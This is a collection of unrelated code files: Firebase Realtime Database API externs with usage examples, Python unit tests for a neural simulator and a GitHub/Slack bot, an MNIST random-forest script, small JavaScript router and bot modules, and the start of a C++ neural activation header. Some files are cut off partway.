* Applications need not use priority but can order collections by
* ordinary properties (see
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sort_data
* Sort data} for alternatives to priority.
*
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.orderByPriority = function() {};
/**
* Generates a new `Query` object ordered by value.
*
* If the children of a query are all scalar values (string, number, or
* boolean), you can order the results by their (ascending) values.
*
* You can read more about `orderByValue()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sort_data
* Sort data}.
*
* @example
* var scoresRef = firebase.database().ref("scores");
* scoresRef.orderByValue().limitToLast(3).on("value", function(snapshot) {
* snapshot.forEach(function(data) {
* console.log("The " + data.key + " score is " + data.val());
* });
* });
*
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.orderByValue = function() {};
/**
* Creates a `Query` with the specified starting point.
*
* Using `startAt()`, `endAt()`, and `equalTo()` allows you to choose arbitrary
* starting and ending points for your queries.
*
* The starting point is inclusive, so children with exactly the specified value
* will be included in the query. The optional key argument can be used to
* further limit the range of the query. If it is specified, then children that
* have exactly the specified value must also have a key name greater than or
* equal to the specified key.
*
* You can read more about `startAt()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#filtering_data
* Filtering data}.
*
* @example
* // Find all dinosaurs that are at least three meters tall.
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByChild("height").startAt(3).on("child_added", function(snapshot) {
* console.log(snapshot.key)
* });
*
* @param {number|string|boolean|null} value The value to start at. The argument
* type depends on which `orderBy*()` function was used in this query.
* Specify a value that matches the `orderBy*()` type. When used in
* combination with `orderByKey()`, the value must be a string.
* @param {string=} key The child key to start at. This argument is only allowed
* if ordering by child, value, or priority.
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.startAt = function(value, key) {};
/**
* Creates a `Query` with the specified ending point.
*
* Using `startAt()`, `endAt()`, and `equalTo()` allows you to choose arbitrary
* starting and ending points for your queries.
*
* The ending point is inclusive, so children with exactly the specified value
* will be included in the query. The optional key argument can be used to
* further limit the range of the query. If it is specified, then children that
* have exactly the specified value must also have a key name less than or equal
* to the specified key.
*
* You can read more about `endAt()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#filtering_data
* Filtering data}.
*
* @example
* // Find all dinosaurs whose names come before Pterodactyl lexicographically.
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByKey().endAt("pterodactyl").on("child_added", function(snapshot) {
* console.log(snapshot.key);
* });
*
* @param {number|string|boolean|null} value The value to end at. The argument
* type depends on which `orderBy*()` function was used in this query.
* Specify a value that matches the `orderBy*()` type. When used in
* combination with `orderByKey()`, the value must be a string.
* @param {string=} key The child key to end at, among the children with the
* previously specified priority. This argument is only allowed if ordering by
* child, value, or priority.
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.endAt = function(value, key) {};
/**
* Creates a `Query` that includes children that match the specified value.
*
* Using `startAt()`, `endAt()`, and `equalTo()` allows us to choose arbitrary
* starting and ending points for our queries.
*
* The optional key argument can be used to further limit the range of the
* query. If it is specified, then children that have exactly the specified
* value must also have exactly the specified key as their key name. This can be
* used to filter result sets with many matches for the same value.
*
* You can read more about `equalTo()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#filtering_data
* Filtering data}.
*
* @example
* // Find all dinosaurs whose height is exactly 25 meters.
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByChild("height").equalTo(25).on("child_added", function(snapshot) {
* console.log(snapshot.key);
* });
*
* @param {number|string|boolean|null} value The value to match for. The
* argument type depends on which `orderBy*()` function was used in this
* query. Specify a value that matches the `orderBy*()` type. When used in
* combination with `orderByKey()`, the value must be a string.
* @param {string=} key The child key to start at, among the children with the
* previously specified priority. This argument is only allowed if ordering by
* child, value, or priority.
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.equalTo = function(value, key) {};
/**
* Gets the absolute URL for this location.
*
* The `toString()` method returns a URL that is ready to be put into a browser,
* curl command, or a `firebase.database().refFromURL()` call. Since all of
* those expect the URL to be url-encoded, `toString()` returns an encoded URL.
*
* Append '.json' to the returned URL when typed into a browser to download
* JSON-formatted data. If the location is secured (that is, not publicly
* readable), you will get a permission-denied error.
*
* @example
* // Calling toString() on a root Firebase reference returns the URL where its
* // data is stored within the Database:
* var rootRef = firebase.database().ref();
* var rootUrl = rootRef.toString();
* // rootUrl === "https://sample-app.firebaseio.com/".
*
* // Calling toString() at a deeper Firebase reference returns the URL of that
* // deep path within the Database:
* var adaRef = rootRef.child('users/ada');
* var adaURL = adaRef.toString();
* // adaURL === "https://sample-app.firebaseio.com/users/ada".
*
* @return {string} The absolute URL for this location.
* @override
*/
firebase.database.Query.prototype.toString = function() {};
/**
* Returns a JSON-serializable representation of this object.
*
* @return {!Object} A JSON-serializable representation of this object.
*/
firebase.database.Query.prototype.toJSON = function() {};
/**
* A `DataSnapshot` contains data from a Database location.
*
* Any time you read data from the Database, you receive the data as a
* `DataSnapshot`. A `DataSnapshot` is passed to the event callbacks you attach
* with `on()` or `once()`. You can extract the contents of the snapshot as a
* JavaScript object by calling the `val()` method. Alternatively, you can
* traverse into the snapshot by calling `child()` to return child snapshots
* (which you could then call `val()` on).
*
* A `DataSnapshot` is an efficiently generated, immutable copy of the data at
* a Database location. It cannot be modified and will never change (to modify
* data, you always call the `set()` method on a `Reference` directly).
*
* @interface
*/
firebase.database.DataSnapshot = function() {};
/**
* Extracts a JavaScript value from a `DataSnapshot`.
*
* Depending on the data in a `DataSnapshot`, the `val()` method may return a
* scalar type (string, number, or boolean), an array, or an object. It may also
* return null, indicating that the `DataSnapshot` is empty (contains no data).
*
* @example
* // Write and then read back a string from the Database.
* ref.set("hello")
* .then(function() {
* return ref.once("value");
* })
* .then(function(snapshot) {
* var data = snapshot.val(); // data === "hello"
* });
*
* @example
* // Write and then read back a JavaScript object from the Database.
* ref.set({ name: "Ada", age: 36 })
* .then(function() {
* return ref.once("value");
* })
* .then(function(snapshot) {
* var data = snapshot.val();
* // data is { "name": "Ada", "age": 36 }
* // data.name === "Ada"
* // data.age === 36
* });
*
* @return {*} The DataSnapshot's contents as a JavaScript value (Object,
* Array, string, number, boolean, or `null`).
*/
firebase.database.DataSnapshot.prototype.val = function() {};
/**
* Exports the entire contents of the DataSnapshot as a JavaScript object.
*
* The `exportVal()` method is similar to `val()`, except priority information
* is included (if available), making it suitable for backing up your data.
*
* @return {*} The DataSnapshot's contents as a JavaScript value (Object,
* Array, string, number, boolean, or `null`).
*/
firebase.database.DataSnapshot.prototype.exportVal = function() {};
/**
* Returns true if this `DataSnapshot` contains any data. It is slightly more
* efficient than using `snapshot.val() !== null`.
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* // Test for the existence of certain keys within a DataSnapshot
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var a = snapshot.exists(); // true
* var b = snapshot.child("name").exists(); // true
* var c = snapshot.child("name/first").exists(); // true
* var d = snapshot.child("name/middle").exists(); // false
* });
*
* @return {boolean}
*/
firebase.database.DataSnapshot.prototype.exists = function() {};
/**
* Gets another `DataSnapshot` for the location at the specified relative path.
*
* Passing a relative path to the `child()` method of a DataSnapshot returns
* another `DataSnapshot` for the location at the specified relative path. The
* relative path can either be a simple child name (for example, "ada") or a
* deeper, slash-separated path (for example, "ada/name/first"). If the child
* location has no data, an empty `DataSnapshot` (that is, a `DataSnapshot`
* whose value is `null`) is returned.
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* // Test for the existence of certain keys within a DataSnapshot
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var name = snapshot.child("name").val(); // {first:"Ada",last:"Lovelace"}
* var firstName = snapshot.child("name/first").val(); // "Ada"
* var lastName = snapshot.child("name").child("last").val(); // "Lovelace"
* var age = snapshot.child("age").val(); // null
* });
*
* @param {string} path A relative path to the location of child data.
* @return {!firebase.database.DataSnapshot}
*/
firebase.database.DataSnapshot.prototype.child = function(path) {};
/**
* Returns true if the specified child path has (non-null) data.
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* // Determine which child keys in DataSnapshot have data.
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var hasName = snapshot.hasChild("name"); // true
* var hasAge = snapshot.hasChild("age"); // false
* });
*
* @param {string} path A relative path to the location of a potential child.
* @return {boolean} `true` if data exists at the specified child path; else
* `false`.
*/
firebase.database.DataSnapshot.prototype.hasChild = function(path) {};
/**
* Gets the priority value of the data in this `DataSnapshot`.
*
* Applications need not use priority but can order collections by
* ordinary properties (see
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sorting_and_filtering_data
* Sorting and filtering data}).
*
* @return {string|number|null}
*/
firebase.database.DataSnapshot.prototype.getPriority = function() {};
/**
* Enumerates the top-level children in the `DataSnapshot`.
*
* Because of the way JavaScript objects work, the ordering of data in the
* JavaScript object returned by `val()` is not guaranteed to match the ordering
* on the server nor the ordering of `child_added` events. That is where
* `forEach()` comes in handy. It guarantees the children of a `DataSnapshot`
* will be iterated in their query order.
*
* If no explicit `orderBy*()` method is used, results are returned
* ordered by key (unless priorities are used, in which case, results are
* returned by priority).
*
* @example
*
* // Assume we have the following data in the Database:
* {
* "users": {
* "ada": {
* "first": "Ada",
* "last": "Lovelace"
* },
* "alan": {
* "first": "Alan",
* "last": "Turing"
* }
* }
* }
*
* // Loop through users in order with the forEach() method. The callback
* // provided to forEach() will be called synchronously with a DataSnapshot
* // for each child:
* var query = firebase.database().ref("users").orderByKey();
* query.once("value")
* .then(function(snapshot) {
* snapshot.forEach(function(childSnapshot) {
* // key will be "ada" the first time and "alan" the second time
* var key = childSnapshot.key;
* // childData will be the actual contents of the child
* var childData = childSnapshot.val();
* });
* });
*
* @example
* // You can cancel the enumeration at any point by having your callback
* // function return true. For example, the following code sample will only
* // fire the callback function one time:
* var query = firebase.database().ref("users").orderByKey();
* query.once("value")
* .then(function(snapshot) {
* snapshot.forEach(function(childSnapshot) {
* var key = childSnapshot.key; // "ada"
*
* // Cancel enumeration
* return true;
* });
* });
*
* @param {function(!firebase.database.DataSnapshot): boolean} action A function
* that will be called for each child DataSnapshot. The callback can return
* true to cancel further enumeration.
* @return {boolean} true if enumeration was canceled due to your callback
* returning true.
*/
firebase.database.DataSnapshot.prototype.forEach = function(action) {};
/**
* Returns whether or not the `DataSnapshot` has any non-`null` child
* properties.
*
* You can use `hasChildren()` to determine if a `DataSnapshot` has any
* children. If it does, you can enumerate them using `forEach()`. If it
* doesn't, then either this snapshot contains a primitive value (which can be
* retrieved with `val()`) or it is empty (in which case, `val()` will return
* `null`).
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var a = snapshot.hasChildren(); // true
* var b = snapshot.child("name").hasChildren(); // true
* var c = snapshot.child("name/first").hasChildren(); // false
* });
*
* @return {boolean} true if this snapshot has any children; else false.
*/
firebase.database.DataSnapshot.prototype.hasChildren = function() {};
/**
* The key (last part of the path) of the location of this `DataSnapshot`.
*
* The last token in a Database location is considered its key. For example,
* "ada" is the key for the /users/ada/ node. Accessing the key on any
* `DataSnapshot` will return the key for the location that generated it.
* However, accessing the key on the root URL of a Database will return `null`.
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var key = snapshot.key; // "ada"
* var childKey = snapshot.child("name/last").key; // "last"
* });
*
* @example
* var rootRef = firebase.database().ref();
* rootRef.once("value")
* .then(function(snapshot) {
* var key = snapshot.key; // null
* var childKey = snapshot.child("users/ada").key; // "ada"
* });
*
* @type {string|null}
*/
firebase.database.DataSnapshot.prototype.key;
/**
* Returns the number of child properties of this `DataSnapshot`.
*
* @example
* // Assume we have the following data in the Database:
* {
* "name": {
* "first": "Ada",
* "last": "Lovelace"
* }
* }
*
* var ref = firebase.database().ref("users/ada");
* ref.once("value")
* .then(function(snapshot) {
* var a = snapshot.numChildren(); // 1 ("name")
* var b = snapshot.child("name").numChildren(); // 2 ("first", "last")
* var c = snapshot.child("name/first").numChildren(); // 0
* });
*
* @return {number}
*/
firebase.database.DataSnapshot.prototype.numChildren = function() {};
/**
* The `Reference` for the location that generated this `DataSnapshot`.
*
* @type {!firebase.database.Reference}
*/
firebase.database.DataSnapshot.prototype.ref;
/**
* Returns a JSON-serializable representation of this object.
*
* @return {?Object} A JSON-serializable representation of this object.
*/
firebase.database.DataSnapshot.prototype.toJSON = function() {};
/**
* The `onDisconnect` class allows you to write or clear data when your client
* disconnects from the Database server. These updates occur whether your
* client disconnects cleanly or not, so you can rely on them to clean up data
* even if a connection is dropped or a client crashes.
*
* The `onDisconnect` class is most commonly used to manage presence in
* applications where it is useful to detect how many clients are connected and
* when other clients disconnect. See
* {@link
* https://firebase.google.com/docs/database/web/offline-capabilities
* Enabling Offline Capabilities in JavaScript} for more information.
*
* To avoid problems when a connection is dropped before the requests can be
* transferred to the Database server, these functions should be called before
* writing any data.
*
* Note that `onDisconnect` operations are only triggered once. If you want an
* operation to occur each time a disconnect occurs, you'll need to re-establish
* the `onDisconnect` operations each time you reconnect.
*
* @interface
*/
firebase.database.OnDisconnect = function() {};
/**
* Cancels all previously queued `onDisconnect()` set or update events for this
* location and all children.
*
* If a write has been queued for this location via a `set()` or `update()` at a
* parent location, the write at this location will be canceled, though writes
* to sibling locations will still occur.
*
* @example
* var ref = firebase.database().ref("onlineState");
* ref.onDisconnect().set(false);
* // ... sometime later
* ref.onDisconnect().cancel();
*
* @param {function(?Error)=} onComplete An optional callback function that will
* be called when synchronization to the server has completed. The callback
* will be passed a single parameter: null for success, or an Error object
* indicating a failure.
* @return {!firebase.Promise<void>} Resolves when synchronization to the server
* is complete.
*/
firebase.database.OnDisconnect.prototype.cancel = function(onComplete) {};
/**
* Ensures the data at this location is deleted when the client is disconnected
* (due to closing the browser, navigating to a new page, or network issues).
*
* @param {function(?Error)=} onComplete An optional callback function that will
* be called when synchronization to the server has completed. The callback
* will be passed a single parameter: null for success, or an Error object
* indicating a failure.
* @return {!firebase.Promise<void>} Resolves when synchronization to the server
* is complete.
*/
firebase.database.OnDisconnect.prototype.remove = function(onComplete) {};
/**
* Ensures the data at this location is set to the specified value when the
* client is disconnected (due to closing the browser, navigating to a new page,
* or network issues).
*
* `set()` is especially useful for implementing "presence" systems, where a
* value should be changed or cleared when a user disconnects so that they
* appear "offline" to other users. See
* {@link
* https://firebase.google.com/docs/database/web/offline-capabilities
* Enabling Offline Capabilities in JavaScript} for more information.
*
* Note that `onDisconnect` operations are only triggered once. If you want an
* operation to occur each time a disconnect occurs, you'll need to re-establish
* the `onDisconnect` operations each time.
*
* @example
* var ref = firebase.database().ref("users/ada/status");
* ref.onDisconnect().set("I disconnected!");
*
* @param {*} value The value to be written to this location on
* disconnect (can be an object, array, string, number, boolean, or null).
* @param {function(?Error)=} onComplete An optional callback function that
* will be called when synchronization to the Database server has completed.
* The callback will be passed a single parameter: null for success, or an
* `Error` object indicating a failure.
* @return {!firebase.Promise<void>} Resolves when synchronization to the
* Database is complete.
*/
firebase.database.OnDisconnect.prototype.set = function(value, onComplete) {};
/**
* Ensures the data at this location is set to the specified value and priority
* when the client is disconnected (due to closing the browser, navigating to a
* new page, or network issues).
*
* @param {*} value
* @param {number|string|null} priority
* @param {function(?Error)=} onComplete
* @return {!firebase.Promise<void>}
*/
firebase.database.OnDisconnect.prototype.setWithPriority =
function(value, priority, onComplete) {};
/**
* Writes multiple values at this location when the client is disconnected (due
* to closing the browser, navigating to a new page, or network issues).
*
* The `values` argument contains multiple property-value pairs that will be
* written to the Database together. Each child property can either be a simple
* property (for example, "name") or a relative path (for example, "name/first")
* from the current location to the data to update.
*
* As opposed to the `set()` method, `update()` can be use to selectively update
* only the referenced properties at the current location (instead of replacing
* all the child properties at the current location).
*
* See more examples using the connected version of
* {@link firebase.database.Reference#update `update()`}.
*
* @example
* var ref = firebase.database().ref("users/ada");
* ref.update({
* onlineState: true,
* status: "I'm online."
* });
* ref.onDisconnect().update({
* onlineState: false,
* status: "I'm offline."
* });
*
* @param {!Object} values Object containing multiple values.
* @param {function(?Error)=} onComplete An optional callback function that will
* be called when synchronization to the server has completed. The
* callback will be passed a single parameter: null for success, or an Error
* object indicating a failure.
* @return {!firebase.Promise<void>} Resolves when synchronization to the
* Database is complete.
*/
firebase.database.OnDisconnect.prototype.update =
function(values, onComplete) {};
|
import unittest
import sys
import logging
from importlib import import_module
# unittest is used for writing the test application
# sys and logging modules are for logging test info onto the terminal
class TestPopulations(unittest.TestCase):
def setUp(self):
self.sim = import_module("pyNN.carlsim")
self.sim.setup(timestep=0.01, min_delay=1.0, netName = "test_populations", simMode = 0, logMode = 3, ithGPUs = 0, randSeed = 42)
#assign silly values and expect the program to fail
def test_createSpikeGeneretorDeath(self):
log = logging.getLogger("Spike Source")
log.debug("Testing Spike Source Population")
with self.assertRaises(Exception, msg="SS1: Negative 1 was supposed to raise an exception"):
nNeur = -1
spikeSource = self.sim.SpikeSourceArray(neuronType='EXCITATORY_NEURON', spike_times=[1,2,3,4,5,6,7,8])
self.sim.Population(nNeur, spikeSource)
with self.assertRaises(Exception, msg="SS2: The given x value was supposed to raise an expception"):
nNeur = (-1,1,1)
spikeSource = self.sim.SpikeSourceArray(neuronType='EXCITATORY_NEURON', spike_times=[1,2,3,4,5,6,7,8])
self.sim.Population(nNeur, spikeSource)
with self.assertRaises(Exception, msg="SS3: The given y value was supposed to raise an exception"):
nNeur = (1,-1,1)
spikeSource = self.sim.SpikeSourceArray(neuronType='EXCITATORY_NEURON', spike_times=[1,2,3,4,5,6,7,8])
self.sim.Population(nNeur, spikeSource)
with self.assertRaises(Exception, msg="SS4: The given z value was supposed to raise an exception"):
nNeur = (1,1,-1)
spikeSource = self.sim.SpikeSourceArray(neuronType='EXCITATORY_NEURON', spike_times=[1,2,3,4,5,6,7,8])
self.sim.Population(nNeur, spikeSource)
log.debug("Spike Source Population test: Success")
#set silly values
#for now unable to write tests for neuron type
def test_createGroup(self):
log = logging.getLogger("TestLog")
log.debug("Testing Izhikevich population")
with self.assertRaises(Exception, msg= "IZ1: The negative value was supposed to raise an exception"):
self.sim.Population(-10, self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c=-65, d=6))
with self.assertRaises(Exception, msg="IZ2: The negative x value was supposed to raise an exception"):
self.sim.Population((-10,1,1), self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c=-65, d=6))
with self.assertRaises(Exception, msg="IZ3: The negative y value was supposed to raise an exception"):
self.sim.Population((10,-1,1), self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c=-65, d=6))
with self.assertRaises(Exception, msg="IZ4: The negative z value was supposed to raise an exception"):
self.sim.Population((10,1,-1), self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c=-65, d=6))
with self.assertRaises(Exception, msg="IZ5: The a paramater cannot be a string"):
self.sim.Population(10, self.sim.Izhikevich("EXCITATORY_NEURON",a="a", b=0.2, c=-65, d=6))
with self.assertRaises(Exception, msg="IZ6: The b parameter cannot be a string"):
self.sim.Population(10, self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b="a", c=-65, d=6))
with self.assertRaises(Exception, msg="IZ7: The c parameter cannot be a string"):
self.sim.Population(10, self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c="a", d=6))
with self.assertRaises(Exception, msg="IZ8: The d parameter cannot be a string"):
self.sim.Population(10, self.sim.Izhikevich("EXCITATORY_NEURON",a=0.02, b=0.2, c=-65, d="a"))
log.debug("Izhikevich Population tests: Success")
if __name__ == "__main__":
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
#unittest.TextTestRunner().run(TestPopulations())
unittest.main()
|
import unittest
import os
import json
from carson.github.parser import Parser
from carson.slack.client import SlackClient
class GithubParserTest(unittest.TestCase):
SEND_SLACK_MESSAGE_PR_NUMBERS = []
def mock_get_pull_request_data(self, url):
self.assertEqual(url, 'https://api.github.com/repos/SylverStudios/carson/pulls/2')
return json.loads(
open(os.path.join(os.path.dirname(__file__), 'test_github_pull_api_get.json')).read()
)
def mock_get_affected_prs(self, url):
self.assertEqual(url, 'https://api.github.com/repos/SylverStudios/carson/pulls?q=is%3Apr+148b009347b2845e53a828cb3bdbde34e685e50e')
return json.loads(
open(os.path.join(os.path.dirname(__file__), 'test_github_pr_query_by_commit.json')).read()
)
def mock_send_slack_message(self, owner, repo, pr_number, content):
self.assertEqual(owner, 'SylverStudios')
self.assertEqual(repo, 'carson')
self.assertEqual(content, 'A test failed!')
self.SEND_SLACK_MESSAGE_PR_NUMBERS.append(pr_number)
def get_slack_client(self):
slack_client = SlackClient()
slack_client.send_message = self.mock_send_slack_message
return slack_client
def get_parser_instance(self):
parser = Parser()
parser.get_pull_request_data = self.mock_get_pull_request_data
parser.get_affected_prs = self.mock_get_affected_prs
parser.get_slack_client = self.get_slack_client
return parser
def get_test_comment_event(self):
return json.loads(
open(os.path.join(os.path.dirname(__file__), 'test_github_comment_event.json')).read()
)
def get_test_commit_status_failure(self):
return json.loads(
open(os.path.join(os.path.dirname(__file__), 'test_github_commit_status_message_failure.json')).read()
)
def assert_parsed_data(self, parsed_data):
self.assertEqual(parsed_data['commit_sha'], '7753bb8a60c85105636aaa176c830475b3fa1586')
self.assertEqual(parsed_data['gh_username'], 'samgqroberts')
self.assertEqual(parsed_data['timestamp'], '2016-04-24T17:40:32Z')
self.assertEqual(parsed_data['pr_number'], 2)
self.assertEqual(parsed_data['repo'], 'SylverStudios/carson')
self.assertEqual(parsed_data['base_branch'], 'master')
def test_parse_comment_matp(self):
comment_data = self.get_test_comment_event()
comment_data['comment']['body'] = 'blah blah carson matp blah blah'
parser = self.get_parser_instance()
parsed_data = parser.parse_comment_message(comment_data)
self.assert_parsed_data(parsed_data)
condition_action_pairings = parsed_data['condition_action_pairings']
self.assertEqual(len(condition_action_pairings), 1)
pairing = condition_action_pairings[0]
self.assertEqual(pairing['condition'], 'passed')
self.assertIn('merge', pairing['actions'])
self.assertIn('notify_slack', pairing['actions'])
def test_parse_comment_no_message_encoded(self):
comment_data = self.get_test_comment_event()
comment_data['comment']['body'] = 'blah blah blah blah'
parser = self.get_parser_instance()
parsed_data = parser.parse_comment_message(comment_data)
self.assert_parsed_data(parsed_data)
condition_action_pairings = parsed_data['condition_action_pairings']
self.assertEqual(len(condition_action_pairings), 0)
def test_parse_commit_status_failure(self):
commit_status = self.get_test_commit_status_failure()
parser = self.get_parser_instance()
parser.parse_commit_status(commit_status)
self.assertIn(4, self.SEND_SLACK_MESSAGE_PR_NUMBERS)
self.assertIn(6, self.SEND_SLACK_MESSAGE_PR_NUMBERS)
|
#!/usr/local/bin/python
# -*- coding: utf-8 -*-
import pandas as pd
import numpy as np
from sklearn.ensemble import RandomForestRegressor
def loadTrainData():
data = pd.read_csv("./data/train.csv")
for i in range(28*28):
data.loc[(data['pixel%d'%i]>0), 'pixel%d'%i] = 1
return data
def loadTestData():
data = pd.read_csv("./data/test.csv")
for i in range(28*28):
data.loc[(data['pixel%d'%i]>0), 'pixel%d'%i] = 1
return data
trains = loadTrainData()
tests = loadTestData()
rfr = RandomForestRegressor(random_state=0, n_estimators=2000, n_jobs=-1)
rfr.fit(trains.iloc[:,1:], trains.iloc[:,0])
predictNum = np.round(rfr.predict(tests))
print(predictNum)
np.savetxt("result.csv", np.dstack((np.arange(1, predictNum.size+1), predictNum))[0], "%d,%d", header="ImageId,Label")
|
import random
import os
username = ''.join(random.choice(
|
exports.run = (client, msg) => {
if (msg.guildConf.deleteCommand === true) msg.delete();
return false;
};
exports.conf = {
enabled: true,
requiredModules: [],
};
exports.help = {
name: "deleteCommand",
type: "inhibitors",
description: "Enables the ability for Guild/Bot owners to decide if they want all messages that initiate a command to be deleted.",
};
// Uncompatible with Komada SettingGateway
exports.init = (client) => {
if (!client.funcs.confs.hasKey("deleteCommand")) {
client.funcs.confs.addKey("deleteCommand", false);
}
};
|
import Vue from "vue";
import Router from "vue-router";
import Home from "../pages/Home";
import LoadFile from "../pages/LoadFile";
import ForceGraph from "../components/ForceGraph";
import VisualiseData from "../components/VisualiseData";
import GraphList from "../pages/GraphList";
Vue.use(Router);
export default new Router({
mode: "history",
routes: [
{
path: "/",
name: "Home",
component: Home
},
{
path: "/force-graph",
name: "ForceGraph",
component: ForceGraph
},
{
path: "/visualise-data/:id",
name: "VisualiseData",
component: VisualiseData,
props: true
},
{
path: "/load-file",
name: "LoadFile",
component: LoadFile
},
{
path: "/graph-list",
name: "GraphList",
component: GraphList
}
]
});
|
'use strict';
const express = require('express');
const router = express.Router();
const pageController = require("../controller/pageController.js");
console.log('page page page')
router.get('/',pageController.signIn); /*登录*/
router.get('/index',pageController.index); /*首页*/
module.exports = router;
|
const path = require('path')
module.exports = function (manifestPath) {
const manifest = require(manifestPath)
if (
!manifest ||
!manifest.content_scripts ||
!manifest.content_scripts[0].css
) return []
const contentCss = manifest.content_scripts[0].css
return contentCss.map(css => path
.resolve(path.dirname(manifestPath), css))
}
|
// == mojo ====================================================================
//
// Copyright (c) gnawice@gnawice.com. All rights reserved.
// See LICENSE in root folder
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files(the "Software"),
// to deal in the Software without restriction, including without
// limitation the rights to use, copy, modify, merge, publish, distribute,
// sublicense, and/or sell copies of the Software, and to permit persons to
// whom the Software is furnished to do so, subject to the following
// conditions :
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
// CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
// OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
// THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// ============================================================================
// activation.h: neuron activation functions
// ==================================================================== mojo ==
#pragma once
#include <math.h>
#include <algorithm>
#include <string>
namespace mojo {
#ifdef MOJO_LUTS
const float_t tanh_lut[1024] = { -1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,
-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-1.f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,
-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,
-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999999f,-0.999998f,-0.999998f,
-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999998f,-0.999997f,-0.999997f,-0.999997f,
-0.999997f,-0.999997f,-0.999997f,-0.999997f,-0.999997f,-0.999997f,-0.999997f,-0.999996f,-0.999996f,-0.999996f,-0.999996f,-0.999996f,-0.999996f,-0.999996f,-0.999996f,-0.999995f,
-0.999995f,-0.999995f,-0.999995f,-0.999995f,-0.999995f,-0.999995f,-0.999994f,-0.999994f,-0.999994f,-0.999994f,-0.999994f,-0.999993f,-0.999993f,-0.999993f,-0.999993f,-0.999992f,
-0.999992f,-0.999992f,-0.999992f,-0.999992f,-0.999991f,-0.999991f,-0.999991f,-0.99999f,-0.99999f,-0.99999f,-0.99999f,-0.999989f,-0.999989f,-0.999988f,-0.999988f,-0.999988f,
-0.999987f,-0.999987f,-0.999987f,-0.999986f,-0.999986f,-0.999985f,-0.999985f,-0.999984f,-0.999984f,-0.999983f,-0.999983f,-0.999982f,-0.999981f,-0.999981f,-0.99998f,-0.99998f,
-0.999979f,-0.999978f,-0.999978f,-0.999977f,-0.999976f,-0.999975f,-0.999975f,-0.999974f,-0.999973f,-0.999972f,-0.999971f,-0.99997f,-0.99997f,-0.999969f,-0.999968f,-0.999967f,
-0.999966f,-0.999964f,-0.999963f,-0.999962f,-0.999961f,-0.99996f,-0.999958f,-0.999957f,-0.999956f,-0.999954f,-0.999953f,-0.999951f,-0.99995f,-0.999948f,-0.999947f,-0.999945f,
-0.999943f,-0.999941f,-0.99994f,-0.999938f,-0.999936f,-0.999934f,-0.999931f,-0.999929f,-0.999927f,-0.999925f,-0.999922f,-0.99992f,-0.999917f,-0.999915f,-0.999912f,-0.999909f,
-0.999906f,-0.999903f,-0.9999f,-0.999897f,-0.999894f,-0.99989f,-0.999887f,-0.999884f,-0.99988f,-0.999876f,-0.999872f,-0.999868f,-0.999864f,-0.999859f,-0.999855f,-0.99985f,
